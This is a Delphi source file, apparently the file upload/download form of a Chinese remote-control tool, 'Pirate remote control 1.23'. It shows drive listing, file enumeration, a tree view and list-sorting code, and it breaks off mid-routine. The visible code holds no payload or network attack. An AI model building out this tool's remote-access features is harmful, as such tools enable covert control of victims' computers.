updownfrom.pas

海盗远控1.23源代码

unit UpDownFrom;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,LangFrm,
  Dialogs, SkinCtrls, ComCtrls, ExtCtrls, DynamicSkinForm, ImgList;

type
  TUpDownFileForm = class(TLangForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    Panel1: TspSkinPanel;
    Splitter1: TspSkinSplitter;
    ExPanel1: TspSkinExPanel;
    TreeView1: TspSkinTreeView;
    ScrollBar1: TspSkinScrollBar;
    ScrollBar2: TspSkinScrollBar;
    Panel3: TspSkinPanel;
    spSkinButton2: TspSkinButton;
    spSkinButton1: TspSkinButton;
    Panel300: TspSkinPanel;
    ControlBar2: TspSkinControlBar;
    Panel19: TspSkinPanel;
    FileToolButton1: TspSkinButton;
    GroupBox5: TspSkinGroupBox;
    ListView1: TspSkinListView;
    spSkinScrollBar11: TspSkinScrollBar;
    Animate1: TAnimate;
    procedure FileToolButton1Click(Sender: TObject);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure ListView1DblClick(Sender: TObject);
    procedure spSkinButton2Click(Sender: TObject);
    procedure TreeView1Expanding(Sender: TObject; Node: TTreeNode;
      var AllowExpansion: Boolean);
    procedure ControlBar2Resize(Sender: TObject);
    procedure spSkinButton1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
    procedure GetComputer;
  public
    { Public declarations }
  end;

var
  UpDownFileForm: TUpDownFileForm;

implementation
uses
  Main;
{$R *.dfm}
//向上按键
procedure TUpDownFileForm.FileToolButton1Click(Sender: TObject);
begin
  try
    if TreeView1.Selected.AbsoluteIndex <> 0 then
      TreeView1.Selected.Parent.Selected := True;
    TreeView1.SetFocus;
  except
  end;
end;

function FindFile(Path: string): string; {搜索文件夹和文件}
var Sr: TSearchRec;
  CommaList: TStringList;
  s: string;
  dt: TDateTime;
begin
  commalist := Tstringlist.Create;
  try
    Findfirst(path + '*.*', faAnyFile, sr);
    if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '.') then
    begin
      dt := FileDateToDateTime(sr.Time);
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
      commalist.add('*' + s + sr.name);
    end;
    while findnext(sr) = 0 do
    begin
      if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '..') then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('*' + s + sr.name);
      end;
    end;
    FindClose(sr);
    FindFirst(path + '*.*', faArchive + faReadOnly + faHidden + faSysFile, Sr);
    if Sr.Attr <> faDirectory then
    begin
      dt := FileDateToDateTime(sr.Time);
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
      commalist.add('\' + s + Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
    end; //Inttostr(
    while findnext(sr) = 0 do
    begin
      if (sr.Attr <> faDirectory) then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('\' + s + Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
      end;
    end;
    FindClose(Sr);
  except
  end;
  Result := commalist.Text;
  commalist.Free;
end;

//本机硬盘和文件
procedure TUpDownFileForm.GetComputer;
var
  Drivernum, I: integer;
  TempStr: string;
  TMP: TTreeNode;
  RootDStrList: TStringList;
begin
  listview1.Items.BeginUpdate;
  Treeview1.items.BeginUpdate;
  try
    RootDStrList := TStringList.Create;
    Viking.GetDrivernum(RootDStrList);
    Treeview1.items.Item[0].DeleteChildren;  //删除子节点
    ListView1.Items.Clear;                   //清空文件栏
    for i := 0 to RootDStrList.Count - 1 do
    begin
      if RootDStrList[i] = '' then Break;
      TempStr := Copy(RootDStrList[i], 1, 2);
      TMP := Treeview1.items.AddChild(Treeview1.items.Item[0], TempStr);
      Drivernum := StrtoInt(Copy(RootDStrList[i], 3, 1)); //图标索引
      TMP.ImageIndex := Drivernum;
      TMP.SelectedIndex := Drivernum;
      TMP := Treeview1.items.AddChild(TMP, 'Loading...');
      TMP.ImageIndex := -1;
      TMP.SelectedIndex := -1;
      with ListView1.Items.Add do begin
        Caption := TempStr;
        subitems.text := ' ';
        ImageIndex := Drivernum - 1;
      end;
    end;
  finally
    RootDStrList.Free;
    listview1.Items.EndUpdate;
    Treeview1.Items.EndUpdate;
  end;
end;

function CustomSortProc(Item1, Item2: TListItem; ParamSort: integer):
  integer; stdcall;
  function ToFileSize(TheFilesize: string): integer;
  var
    i: integer;
    S: string;
  begin
    try
      if pos(',', TheFilesize) = 0 then
      begin
        Result := Strtoint(TheFilesize);
        Exit;
      end;
      for i := 1 to length(TheFilesize) do
      begin
        if TheFilesize[i] <> ',' then
          S := S + TheFilesize[i];
      end;
      Result := Strtoint(S);
    except
    end;
  end;
begin
  try
    case ParamSort of
      0:
        begin
          if UpDown[0] = True then begin
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex = 4) then begin
              Result := CompareText(Item1.Caption, Item2.Caption);
              Exit;
            end;
            if (Item1.ImageIndex = 32) and (Item2.ImageIndex = 32) then begin
              Result := CompareText(Item1.Caption, Item2.Caption);
              Exit;
            end;
            if (Item1.ImageIndex > 4) and (Item2.ImageIndex > 4) and
              (Item1.ImageIndex < 28) then begin
              Result := CompareText(Item1.Caption, Item2.Caption);
              Exit;
            end;
            if (Item1.ImageIndex > 32) and (Item2.ImageIndex > 32) then begin
              Result := CompareText(Item1.Caption, Item2.Caption);
              Exit;
            end;
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex > 4) then begin
              Result := -1;
              Exit;
            end;
            if (Item1.ImageIndex = 32) and (Item2.ImageIndex > 32) then begin
              Result := -1;
              Exit;
            end;
            if (Item1.ImageIndex > 4) and (Item2.ImageIndex = 4) then begin
              Result := -1;
              exit;
            end;
          end
          else
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex = 4) then begin
              Result := -CompareText(Item1.Caption, Item2.Caption);
              exit;
            end;
          if (Item1.ImageIndex = 32) and (Item2.ImageIndex = 32) then begin
            Result := -CompareText(Item1.Caption, Item2.Caption);
            exit;
          end;
          if (Item1.ImageIndex > 4) and (Item2.ImageIndex > 4)
            and (Item1.ImageIndex < 28) then begin
            Result := -CompareText(Item1.Caption, Item2.Caption);
            exit;
          end;
          if (Item1.ImageIndex > 32) and (Item2.ImageIndex > 32) then begin
            Result := -CompareText(Item1.Caption, Item2.Caption);
            exit;
          end;
          //if (Item1.ImageIndex = 1) and (Item2.ImageIndex > 1) then begin
          //  Result := -1;
          //  exit;
          //end;
          if (Item1.ImageIndex = 32) and (Item2.ImageIndex > 32) then begin
            Result := -1;
            exit;
          end;
          if (Item1.ImageIndex > 4) and (Item2.ImageIndex = 4) then begin
            Result := -1;
            exit;
          end;
          if (Item1.ImageIndex > 32) and (Item2.ImageIndex = 32) then begin
            Result := -1;
            exit;
          end;
        end;
      1:
        begin
          if UpDown[1] = True then begin
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex = 4) then begin
              Result := 1;
              Exit;
            end;
            if (Item1.ImageIndex > 4) and (Item2.ImageIndex > 4)
              and (Item1.ImageIndex < 28) and (Item2.ImageIndex < 28) then
            begin
              if ToFileSize(Item1.SubItems.Strings[0]) > ToFileSize(Item2.SubItems.Strings[0]) then
                Result := -1
              else Result := 1;
              Exit;
            end;
            if (Item1.ImageIndex > 32) and (Item2.ImageIndex > 32) then begin
              if ToFileSize(Item1.SubItems.Strings[0]) > ToFileSize(Item2.SubItems.Strings[0]) then
                Result := -1
              else Result := 1;
              Exit;
            end;
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex > 4) then begin
              Result := -1;
              Exit;
            end;
            if (Item1.ImageIndex = 32) and (Item2.ImageIndex > 32) then begin
              Result := -1;
              Exit;
            end;
            if (Item1.ImageIndex = 32) and (Item2.ImageIndex = 32) then begin
              Result := 1;
              Exit;
            end;
          end
          else begin
            if (Item1.ImageIndex = 4) and (Item2.ImageIndex = 4) then begin